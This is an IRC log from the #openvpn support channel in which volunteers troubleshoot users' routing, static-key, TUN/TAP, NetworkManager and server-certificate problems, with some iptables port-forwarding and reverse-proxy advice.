16:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 276 seconds]
16:25 -!- jzaw [~jzaw@revo.dzki.co.uk] has quit [Remote host closed the connection]
16:27 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has quit [Read error: Connection reset by peer]
16:28 -!- jzaw [~jzaw@revo.dzki.co.uk] has joined #openvpn
16:31 < takamichi> Hi, when using the 'redirect-gateway def1' directive we have issues with clients where a DHCP renewal of the underlying network address causes the original default gateway to be restored with a higher priority than the VPN gateway. Google research shows me this issue is quite old. Can anyone confirm if there is a solution for this for Windows clients?
16:32 < pekster> def1 does not alter the default gateway, thus there is nothing for dhcp to "restore"
16:32 -!- n2deep [n2deep@odin.sdf-eu.org] has quit [Quit: Lost terminal]
16:32 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
16:33 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
16:34 < takamichi> pekster: def1 creates a /1 network which takes preference over the /0 network as I understand. This mean that the original default gateway does not get removed but overriden
16:35 < pekster> Right. DHCP renewal won't impact that at all
16:35 < pekster> That's the entire point
16:35 < pekster> You still have a default gateway, but "nothing" will ever match it that isn't matched by the two /1 routes instead, and preferred as they're more specific (by a single bit) than the default
16:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:37 < takamichi> Thanks @pekster I need to do some more testing clearly.
16:48 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
16:50 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 245 seconds]
16:53 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:59 -!- benedikt [~benedikt@unaffiliated/benedikt] has left #openvpn []
17:04 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
17:11 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
17:16 -!- oc80z [oc80z@blea.ch] has quit [Ping timeout: 248 seconds]
17:17 -!- oc80z [oc80z@blea.ch] has joined #openvpn
17:17 -!- enneract|laptop [~enneract@204.17.41.187] has joined #openvpn
17:19 < enneract|laptop> Anyone familiar with the linux client? In particular, I need to figure out how to invoke it in a way so that authentication information (user and pass, no keys possible) can be passed or parsed from a file
17:19 < enneract|laptop> cli only, headless box
17:23 < pekster> enneract|laptop: See the --auth-user-pass feature in the manpage
17:24 < enneract|laptop> beautiful. thanks, I cant believe I missed that
17:24 -!- Orbi [~opera@46.246.35.29] has left #openvpn []
17:24 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
17:28 -!- enneract|laptop [~enneract@204.17.41.187] has quit [Quit: Leaving.]
17:36 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
17:37 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
17:56 -!- Cpt-Oblivious2 [~cpt-obliv@a202101.upc-a.chello.nl] has joined #openvpn
17:56 -!- Cpt-Oblivious [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
17:57 -!- me0615 [~androirc@122.2.46.76] has joined #openvpn
17:59 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
18:00 -!- systemd0wn [~systemd0w@c-98-212-79-26.hsd1.il.comcast.net] has joined #openvpn
18:00 < me0615> Good day i would like to ask how did proxpn did it that like they have 112.25.4.1 as the real ip in the client config but appears as 172.29.2.55 when looked at whatismyip.com
18:02 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:02 < systemd0wn> me0615: not sure what you're trying to ask.
18:03 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 19.0.2/20130307023931]]
18:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:05 < me0615> Systemdown, how did they do it?
18:06 <+hazardous> do what
18:06 < systemd0wn> How do you get one IP but your traffic looks like it's coming from another?
18:07 <+hazardous> easily?
18:07 < systemd0wn> Simple NAT or Routing
18:07 <+hazardous> doesn't proxpn do MITM anyways?
18:07 < me0615> That the real ip was not reflected on whatismyip.com.
18:07 <+hazardous> i remember it being one of those shitty free vpn services in addition to paid
18:07 <+hazardous> that would mitm your traffic
18:07 <+hazardous> force you through interstitials
18:07 <+hazardous> and append/prepend ad iframes
18:07 < me0615> Systemdown,yes that way
18:09 < me0615> Hazardous,yes they do such thing but was i want to achieve is how the real ip was not shown on whatismyip but rather this private ip 172.29.2.55
18:09 <+hazardous> me0615: screenshot the whatismyi ppage
18:09 < pekster> What "real IP"? You can source-NAT to any IP you want. Note that 172.16/12 is RFC1918
18:09 <+hazardous> pekster: i get the feeling that proxpn is probably mitming whatismyip.com or it's passing an x-f-f header for abuse tracking
18:10 <+hazardous> since they do intercept all web traffic
18:10 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has quit [Ping timeout: 264 seconds]
18:10 <+hazardous> for appending ad code
18:10 < me0615> Hazardous, i cant nw coz im on mobile
18:10 <+hazardous> proxpn also logs heavily
18:10 < pekster> Fun times. "Securely" delivered to the devil. Nice arramgement.
18:11 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
18:11 < systemd0wn> you get what you pay for
18:11 <+hazardous> pekster: i remember trying it in a vm once
18:11 <+hazardous> dns traffic to anything that wasn't their resolvers was dropped
18:11 < me0615> Guy what i only want to knw is how they do such thing
18:11 <+hazardous> me0615: it's called squid and x-forwarded-for
18:11 <+hazardous> so they know who is browsing what
18:12 <+hazardous> whatismyip will say "you appear to be on a proxy xxxx" if there is a XFF or edns-client-subnet difference
18:12 -!- KrissO [~krisso@46.109-247-25.customer.lyse.net] has joined #openvpn
18:12 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
18:12 < me0615> You mean openvpn traffic passes thru squid?
18:12 <+hazardous> pekster: as far as i remember, there were iframe ads on top of the page, random interstitials, HTTP/1.1 404 was intercepted to their own error page with ads, and the first dns request no matter what would be a 'welcome to proxpn' page
18:13 <+hazardous> basically you get what you pay for
18:14 < me0615> Hazardous,do you mean ovpn traffic passes thru squid?
18:14 <+hazardous> pekster: also i can't remember the factoid that goes "we don't support providers only the software"
18:15 < pekster> !provider
18:15 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
18:15 <+hazardous> me0615: do you pay them or do you use their free version
18:16 < me0615> Just free for eval only
18:16 <+hazardous> all of your webtraffic is intercepted
18:16 <+hazardous> via their proxy servers by force
18:16 <+hazardous> deal with it
18:16 < me0615> Coz i want to knw just how they did it.
18:17 < pekster> You've been told that they're using squid. A bit of googling could tell you that squid can act as a transparent proxy
18:17 < me0615> Thats just fine. I just want to knw how it was done so i can also implement in mine.
18:17 <+hazardous> there are many many ways to do this, squid is one of them
18:17 <+hazardous> you basically stop all port 80 traffic that doesn't go through your proxy
18:17 <+hazardous> so you can add X-Forwarded-For headers for abuse logging and tracking of which user visited which url when
18:18 <+hazardous> [insert ianal boilerplate about you being liable once you start inspecting traffic]
18:19 < me0615> Cant that be done simply by firewall?
18:19 < pekster> :(
18:19 <+hazardous> i give up
18:21 < pekster> !notovpn
18:21 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
18:21 < me0615> Ok
18:21 < me0615> Tnx
18:21 -!- me0615 [~androirc@122.2.46.76] has left #openvpn ["AndroIRC"]
18:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
18:29 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has joined #openvpn
18:30 < hsn> !welcome
18:30 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
18:30 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:30 < hsn> !how to
18:34 -!- Cpt-Oblivious2 [~cpt-obliv@a202101.upc-a.chello.nl] has quit [Read error: Connection reset by peer]
18:42 -!- ponyofdeath [~vladi@cpe-75-80-173-129.san.res.rr.com] has joined #openvpn
18:42 < ponyofdeath> hi, trying to masquarade all traffic coming from my openvpn tun0 to look like its coming from the eth0 ip is that possible?
18:43 < ponyofdeath> so that i do not have to add routes to the default gatways of all machines
18:43 < pekster> !redirect
18:43 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
18:43 <@vpnHelper> http://ircpimps.org/redirect.png
18:43 < pekster> You effectively still need routes on all the client systems if you're attempt to route them through the server, but openvpn has directives to help with that
18:44 < ponyofdeath> pekster: i am exposing subnets behind the clients
18:44 < pekster> Add routes on the client's LAN router then
18:44 < ponyofdeath> so net -> vpn client -> vpn server -> vpnclient > othernet
18:45 < pekster> !clientlan
18:45 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
18:45 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
18:46 < hsn> !gui setup
18:46 < pekster> hsn,
18:46 < pekster> !howto
18:46 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:46 < ponyofdeath> pekster: problem is the that i cant add routes to the default gatways for the boxes behind both the clients for their respective subnets
18:47 < pekster> Then you'll need to either add routes on each LAN system for reverse routing to work, or NAT the request as it goes into the LAN, giving up bidirectional communication (traffic can only flow 1-way across a NAT like that)
18:48 < ponyofdeath> pekster: yes that is what I am wondering how i can NAT just the tun0 output
18:48 < ponyofdeath> at each client's end
18:49 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 264 seconds]
18:49 < pekster> NAT anything going out the client's phsyical interface with a source address of the traffic being routed across the tunnel
18:49 < pekster> Same as you would any source NAT translation really
18:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
18:50 < ponyofdeath> so i cant do something that has -o tun0 -j MASQ
18:50 < pekster> NAT occurs as the traffic is leaving the interface. Worry less about where it's "coming from" and more about "what" you want to NAT
18:51 < hsn> what is config name for single client?
18:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:53 < pekster> ponyofdeath: The issue is return routing. You can't leave the "original" source in becuase your target IP, the LAN clients, would send it upstream, right? So on the VPN client you do NAT the source of traffic as it goes *out* the LAN interface to be the IP of the VPN client on that LAN. Thus the target sends it back to the VPN server that re-writes the destination to that of the original sender
18:53 < pekster> hsn: I don't understand your question. Config files can have any name, they're just text files
18:54 < hsn> sample config for one client per server with static key
18:54 < pekster> !statickey
18:54 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
18:55 < pekster> hsn: The first howto link you were given at !howto has a link to a document called "Static Key Mini-HOWTO"
18:55 <@krzee> and theres no client or server in statickey by the way
18:56 < pekster> From a protocol point of view. There's still the potential to have one start up with a listening socket as a "network client" in that sense
18:57 < hsn> can static key works with dynamic ip address client?
18:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:58 < pekster> Yes, although if it might change over the corse of a single session you might look at the --float directive
19:00 < hsn> can 2 clients with static key connect to server at once?
19:00 <@krzee> no, static key is peer to peer
19:00 <@krzee> as i tried to convey above
19:00 <@krzee> not peer to peer*s*
19:01 <@krzee> statickey allows 2 endpoints, if you need more you need client/server
19:01 <@krzee> (or multiple statickey instances)
19:09 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:09 < hsn> what means can not allocate TUN/TAP dev dynamically
19:10 -!- d33tah [~d33tah@212.191.72.35] has quit [Ping timeout: 260 seconds]
19:10 <@krzee> means you dont have tuntap loaded in your kernel
19:11 <@krzee> compile it in or compile the kernel module
19:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
19:16 < hsn> and i need tap or tun?
19:18 < pekster> You need kernel support loaded to open a tun (or tap) device. What OS are you on?
19:19 < hsn> freebsd 8
19:19 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
19:20 <@krzee> hmm i dont think i ever had to load tun into fbsd myself
19:20 <@krzee> certainly not on 8
19:20 < pekster> generic kernel, or is it one you built?
19:20 <@krzee> hsn, are you starting openvpn as root?
19:20 <@krzee> are you doing this in a jail?
19:20 < hsn> its in virtual machine
19:22 < pekster> Shouldn't matter. We're referring to the setup of the OS, not the hardware it's running under (or "virtualware" in your case)
19:23 <@krzee> please answer both my questions
19:24 < hsn> i added both and recompiling kernel
19:25 <@krzee> you had previously removed them?
19:25 < hsn> its custom kernel config provided by hosting company
19:27 -!- histo [~histo@unaffiliated/histo] has joined #openvpn
19:27 < histo> hello
19:28 < hsn> but if i run ppp, then it claims to work on tun0
19:28 < histo> Do you guys have a help or ops channel i'm trying to help a user out and I believe his ip is banned for some odd reason.
19:29 < hsn> uninstall tor
19:29 <@Eugene> Banned from what? IRC?
19:29 < histo> His nick is monsterco and it's telling him he needs to be invited to join
19:29 <@Eugene> He appears to be using the freendoe web gateway. That is banned.
19:29 <@Eugene> Too many idiots / abusers.
19:29 < histo> Eugene: Gotcha thank you I will advise him.
19:30 <@Eugene> However, I'm a nice guy
19:31 -!- histo [~histo@unaffiliated/histo] has left #openvpn ["WeeChat 0.4.0"]
19:38 -!- monsterco [~monsterco@64.231.105.176] has joined #openvpn
19:39 < monsterco> hi everyone - I just created an OpenVPN connection from my Ubuntu desktop to an OpenVPN server but it seems that all traffic are trying to go through the tunnel - how can I stop this from happening? I only want traffic intended for the tunnel to go through the tunnel
19:41 < monsterco> I am using Network-Manager-OpenVPN via gui to set this up
19:41 <@Eugene> Yes.
19:41 < hsn> ipsec needs both ip addresses to be public?
19:42 <@Eugene> Look up --route-nopull in the man page
19:42 <@krzee> monsterco,
19:42 <@krzee> !netman
19:42 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
19:42 <@Eugene> Also don't use NetworkManager
19:42 <@krzee> !ubuntu
19:42 <@vpnHelper> "ubuntu" is dont use network manager!
19:42 <@krzee> :D
19:43 < pekster> Hey now, I've built networkmanager on Gentoo before :P
19:43 <@krzee> hah
19:43 <@Eugene> I'm sorry to hear that
19:43 <@krzee> i dont envision someone coming for help with that though =]
19:43 <@krzee> also, why!?
19:43 <@krzee> lol
19:44 <@Eugene> http://funroll-loops.info/
19:44 < pekster> hsn: OpenVPN doesn't speak IPsec, but uses its own protocol. You need to define either side of an IPsec connection as a routable IP, although some NAT devices are IPsec aware and have an "IPsec passthrough" feature to help map sessions through such a device, among other solutions
19:44 <@vpnHelper> Title: Welcome to Gentoo is Rice, the Volume goes to 11 here. (at funroll-loops.info)
19:44 < pekster> krzee: For portable systems there's a certain ease of use with graphical tools. I prefer wicd actually
19:45 < pekster> Anything complicated I tell it "hands off" (like any ovpn setup, bridges, etc) but I don't "usually" have complicated setups on my laptop :P
19:45 <@krzee> nothing wrong with using netman really anyways, just shouldnt be configuring the vpn with it
19:46 <@krzee> configure by hand and import?  go for it
19:51 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
19:58 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
19:58 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Quit: he's got nothing to lose and now he made you believe the ruiner's your only friend well he's the living end to the cattle he deceives the raping of the innocent the ruiner ruins everything he sees now the only pure thing left in my fucking world is weari]
20:00 < rob0> Strange /quit message!
20:02 < hsn> do i need to install TAP Virtual Ethernet in windows if i plan to use tun?
20:03 < pekster> Yes. It does both hsn. Just like the "tun" driver in a Unix/Linux OS does both tun and tap
20:09 < hsn> openvpn gui is in windows toolbar? i see no window
20:13 < pekster> Once you start the GUI it sits in the system tray until you use the context menu
20:13 -!- d33tah [~d33tah@212.191.72.35] has joined #openvpn
20:14 < hsn> i see. but i does not allow me to setup connection, i can only config proxy
20:15 < pekster> It's all explained in the howto link
20:15 < pekster> There's an entire section under "Installing OpenVPN" just for Windows
20:16 < pekster> You can create your config in any text editor you like, such as notepad
20:17 -!- amir__ [~amir@unaffiliated/amir] has quit [Ping timeout: 246 seconds]
20:19 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 245 seconds]
20:20 -!- raidz is now known as raidz_away
20:24 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
20:27 < hsn> i got it work
20:31 -!- hsn [~chatzilla@u154-43.static.grapesc.cz] has quit [Quit: ChatZilla 0.9.90 [Firefox 20.0/20130326150557]]
20:31 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
20:36 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
20:37 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
20:43 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
20:47 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
20:49 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
20:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:57 -!- Devastator [~devas@186.214.15.152] has quit [Changing host]
20:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
21:24 -!- amir__ [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
21:28 -!- amir__ [~amir@unaffiliated/amir] has joined #openvpn
21:29 < monsterco> hi everyone - how can I get Ubuntu not to tunnel all traffic through OpenVPN?
21:34 < pekster> By reading about the directive you were given before
21:35 < pekster> monsterco: By default openvpn does not mess with your default routes. Presumably you are using (or your server is pushing your client) the --redirect-gateway option. Either stop pushing that option, or use --route-nopull. Note that latter choice might cause problems if you do not add required routes yourself (such as in net30 or p2p topologies)
21:37 < monsterco> pekster - thanks for the info -       --route-nopull is for client side configs?
21:37 < monsterco> when I use the same configurations on Windows it works just fine
21:38 < monsterco> but Ubuntu seems to be pushing all traffic through OpenVPN
21:38 < monsterco> I am using the Network-Manager-OpenVPN
21:41 < monsterco> pekster - should --redirect-gateway option be in server config or not?
21:42 < pekster> If you want to push that directive to clients, do so
21:43 < pekster> If you don't, don't.
21:43 < rob0> wouldn't make any sense to redirect the server's gateway to each successive client :)
21:43 < monsterco> OpenVPN server is only pushing the tunnel subnet and its lan side subnet
21:44 < monsterco> but what does that have to do with how Ubuntu sends all traffic to it?
21:44 < pekster> You can set the gateway redirection from *either* host
21:44 < monsterco> if I want to browse Google.com it should not go through OpenVPN tunnel
21:44 < pekster> THe server can use the --push directive to "push" commands to the client, or the client can set --redirect-gateway itself. Network manager might even have a checkbox or something silly that "hides" what it's really doing. This is why we suggest avoiding network manager, at least to get yourself started
21:45 < pekster> So the answer to your problem is a lot easier than you realise: stop calling openvpn with --redirect-gateway if you don't want it
21:45 < pekster> (and if network manger is doing it, tell it not to, or stop using network manager)
21:48 < monsterco> Option is under Routes
21:49 < monsterco> much simpler than changing my configs which work fine on Windows
21:49 < monsterco> I am getting to hate Ubuntu though for it's messy GUI and making life much harder
21:49 < pekster> Yup :)
21:49 < monsterco> maybe a client from OpenVPN would help it
21:49 < monsterco> just it does in case of Windows
21:49 < pekster> Of course, nothing stops you from just opening a console and running openpvn with the --config option
21:50 < pekster> Ubuntu also supports openvpn via its init system
21:50 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
22:04 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
22:15 -!- monsterco [~monsterco@64.231.105.176] has quit [Ping timeout: 276 seconds]
22:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:20 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has quit [Quit: why's it come as a surprise? to think that i was so naive maybe didn't mean that much but it meant everything to me]
22:24 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
23:07 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:11 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
23:16 -!- FluxD [~FluxD@unaffiliated/fluxd] has joined #openvpn
23:17 < FluxD> Hi, I have a quick question, if I setup openvpn on a server with 1 dedicated ip and connect another client to it, when I ssh into the server ip which server do I login to ?
23:18 < FluxD> And I got an error with a self0sgned cert created using easyrsa: TLS_ERROR: BIO read tls_read_plaintext error: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed How can I fix that?
23:18 < FluxD> thanks in advance for any help
23:20 <@Eugene> FluxD - openvpn by itself doesn't do any sort of NATing, so it would remain the vpn server.
23:21 < FluxD> Eugene, so do I need alternate ip to ssh into the client?
23:22 < FluxD> Eugene, also I verified the cert using openssl verify and it passes what else could be wrong
23:23 <@Eugene> If you want to have a 1-to-1 mapping of Public IP:Port to the client, yes. But if you're just interested in a few ports(SSH, HTTP) you can forward alternate ports to the appropriate client port, or even have the server reverse-proxy the traffic(http in particular) to the client.
23:25 -!- Poster [~poster@cpe-173-88-30-149.columbus.res.rr.com] has joined #openvpn
23:26 < FluxD> Eugene, thanks, what about the ssl error?
23:27 <@Eugene> Are you using a PKI with a CA, etc?
23:30 < FluxD> I am not sure, how do I check, I just used the default easyrsa scripts, and just kept pressing enter
23:30 <@Eugene> I suspect you have certs in the wrong place
23:30 <@Eugene> !configs
23:31 <@Eugene> !logs
23:31 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:31 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
23:31 < FluxD> they are in same dir as confs, do I need to give absolute paths?
23:32 <@Eugene> No, it'd be that you have the wrong file name specified
23:32 < FluxD> k let me get the configs and logs
23:32 <@Eugene> Eg, specifying the ca.crt instead of  the server.crt
23:32 < FluxD> oh I did put ca.crt, is that wrong?
23:39 < FluxD> Eugene, http://www.pastebin.ca/2353396
23:39 <@Eugene> Looks right
23:40 < pekster> Cert purpose, line 52
23:40 < FluxD> Yea, what causes that, do I need to give it hostname for common name?
23:40 < pekster> Did you not build your server cert with the correct "server" build script?
23:41 < FluxD> I did
23:41 <@Eugene> It says you didn't
23:41 < pekster> Can you paste the output of: 'openssl x509 -in server.crt -noout -text' ?
23:41 < pekster> (do that from your server system, and use the file you used in the openvpn conf, the same file)
23:42 < FluxD> so the server cert is causing problems not client?
23:42 < pekster> Right
23:42 < pekster> Each side doesn't actually verify their own cert (that would be pointless since it already trusts "itself")
23:43 < FluxD> to rebuild it, just do the build-key-server namehere again ?
23:43 <@Eugene> Make sure it's broken first
23:43 < pekster> You can make another cert, but let's see why this one doesn't work so you don't make another that doesn't work
23:43 <@Eugene> I suspect you may be able to get away with commenting ns-cert-type line in the client.conf, but pastebin per pekster
23:44 < pekster> If you do re-do the cert, you need to either revoke this one first, or use a different "Common Name" or the new one will fail to be issued (you can't have duplicate CNs in different certs)
23:45 < FluxD> http://www.pastebin.ca/2353399
23:46 < pekster> You made that a client, not a server
23:46 < pekster> Line 3
23:46 < pekster> 38
23:46 < FluxD> How did I do that?
23:46 < pekster> By calling the client script, not the server one when you signed it
23:46 < pekster> There are different frontend scripts for each task
23:47 < pekster> The client specifically checks that the server cert has been marked as a "server" to protect against a subtle attack where one client attacks another by hijacking the connection
23:47 < pekster> You need to generate your certs correctly for this to function, or disable the security measure as noted earlier (it's always best to fix the security than turn it off, at least in this case)
23:47 < FluxD> ah I need to use build-key-server instead of build-key ?
23:47 < pekster> Right
23:48 < pekster> build-key is for clients, build-key-server is for the server
23:48 < FluxD> so can I delete the cert and try again?
23:48 < pekster> THe actual "building" of the key is the same, but the "signing" process that script does next differs
23:48 < pekster> Sure, but see what I said above about revoking and the CN
23:49 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:49 < FluxD> revoke-full works for both?
23:49 < FluxD> as in client and server?
23:49 < pekster> Yup
23:49 < pekster> It markes the cert as invalid, and you can thus re-issue another cert with the same CN (since the old one is no longer valid)
23:49 <@Eugene> You just need to revoke the server
23:50 <@Eugene> (as a bit of clarification)
23:50 < pekster> Eugene: Thanks. I've had my head burried deep in the Win32 internals of openvpn for an hour hunting a bug. Brain is shot :(
23:50 <@Eugene> !beer
23:50 <@vpnHelper> "beer" is what's for dinner (and occasionally breakfast)
23:51 < pekster> Heh, I might get there tomorrow (when I'll be learning to cross-compile a win32 build to test)
23:51 < pekster> Might just go straight to whisky if I haven't figured it out by 16:00
23:51 < jzaw> :)
23:51 < pekster> Somehow it makes win32 code easier to deal with
23:51 < pekster> ;)
23:52 <@Eugene> !xkcd ballmer peak
23:53 <@Eugene> Derp, wrong bot.
23:53 < pekster> Seen it
23:53 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has quit [Quit: Nity nite]
23:53 < jzaw> developers, developers, developers, developers, developers
23:53 < jzaw> is that the one?
23:54 <@Eugene> !google xkcd ballmer peak
23:54 <@vpnHelper> xkcd: Ballmer Peak: <http://xkcd.com/323/>; 323: Ballmer Peak - explain xkcd: <http://www.explainxkcd.com/wiki/index.php?title=323:_Ballmer_Peak>; Urban Dictionary: Ballmer Peak: <http://www.urbandictionary.com/define.php?term=Ballmer%20Peak>
23:54 < jzaw> ah no i have it
23:54 < jzaw> yeah see in :)
23:54 -!- tgunr [~davec@63-145-229-42.dia.static.qwest.net] has joined #openvpn
23:55 < pekster> I just want about 6 lines of code changed. This is so easy on a functional OS :\
23:55 < pekster> Anyway, tomorrow's project. No more tonight or I go insane
23:55 < FluxD> pekster, Eugene that worked, and I greatly appreciate the help, few more quick questions if you don't mind
23:56 < FluxD> there is a webserver on the client, what is the correct way to forward traffic to that?
23:57 <@Eugene> <Eugene> If you want to have a 1-to-1 mapping of Public IP:Port to the client, yes. But if you're just interested in a few ports(SSH, HTTP) you can forward alternate ports to the appropriate client port, or even have the server reverse-proxy the traffic(http in particular) to the client.
23:57 < FluxD> any guides on that? I am unsure and dont want to mess it up :p
23:58 <@Eugene> Reverse-proxy from the server's webserver to the client's is probably the "best" way, in that you don't need any NAT or extra IPs, and the server can continue to serve traffic for other domains
23:58 <@Eugene> Many.
23:58 <@Eugene> !google apache reverse proxy
23:58 <@vpnHelper> mod_proxy - Apache HTTP Server: <http://httpd.apache.org/docs/2.2/mod/mod_proxy.html>; Configure Apache HTTPd as a reverse proxy (mod_proxy) /: <http://geronimo.apache.org/GMOxDOC11/configure-apache-httpd-as-a-reverse-proxy-modproxy.html>; Running a Reverse Proxy with Apache:: <http://www.apachetutor.org/admin/reverseproxies>
23:59 < FluxD> instead of reverse proxy if I wanted 80 on server to 80 on client, that is just using iptables?
23:59 <@Eugene> Yeah.
--- Day changed Tue Apr 09 2013
00:02 < FluxD> Eugene, never done port forwarding using iptables, would this with correct ips work? iptables -t nat -A PREROUTING -p tcp -d 192.168.102.37 --dport 422 -j DNAT --to 192.168.102.37:22
00:05 < pekster> You'll presumably want to DNAT to the client's VPN address, otherwise sure
00:05 < pekster> Oh, wait, where is the request coming from?
00:05 < pekster> You need the reply to go back the same path
00:06 <@Eugene> If the client is doing 'redirect def1' then it's already dealt with
00:06 <@Eugene> Otherwise, yeah, fiddling needed.
00:06 <@Eugene> Reverse-proxying obviates that because the client "sees" the traffic as coming from the server's VPN IP
00:06 <@Eugene> Hence why I recommended it
